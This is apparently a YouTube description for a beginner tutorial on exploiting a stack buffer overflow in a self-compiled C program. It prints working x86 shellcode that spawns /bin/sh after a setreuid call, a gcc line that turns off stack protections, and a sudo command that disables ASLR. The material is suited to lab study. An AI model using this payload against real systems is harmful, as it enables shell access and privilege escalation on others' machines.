How to exploit a buffer overflow vulnerability Practical

YOUR LINK HERE:

http://youtube.com/watch?v=hJ8IwyhqzD4

This tutorial goes over the basic technique of how to exploit a buffer overflow vulnerability with an example. • This tutorial assumes that you already have: basic C knowledge, gdb, gcc and how programs represent memory. • The source code for the program can be downloaded at • https://drive.google.com/file/d/0B8b0... • The 46 byte shellcode (x86*) used in this program is \\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80\\xeb\\x16\\x5b\\x31\\xc0\\x88\\x43\\x07\\x89\\x5b\\x08\\x89\\x43\\x0c\\xb0\\x0b\\x8d\\x4b\\x08\\x8d\\x53\\x0c\\xcd\\x80\\xe8\\xe5\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68 • The compiling line is gcc -o example -fno-stack-protector -m32 -z execstack example.c • -fno-stack-protector === Removes the canary value at the end of the buffer • -m32 === Sets the program to compile into a 32 bit program • -z execstack === Makes the stack executable • • NOTE: If this tutorial is not working it is likely that you have aslr enabled. To disable it run the following command in your terminal • echo 0 | sudo tee /proc/sys/kernel/randomize_va_space • When you are finished I strongly recommend you turn it back on with the command • echo 2 | sudo tee /proc/sys/kernel/randomize_va_space • If you enjoyed this tutorial and want to see more then please consider buying me a coffee! https://www.buymeacoffee.com/langotto. Definitely not required, but it definitely will be appreciated! • If your computer uses ARM then this won't work... if you don't know what this means then as of 2021 it should work if it's not a Raspberry Pi, phone, or an Apple computer released after 2020.

#############################

New on site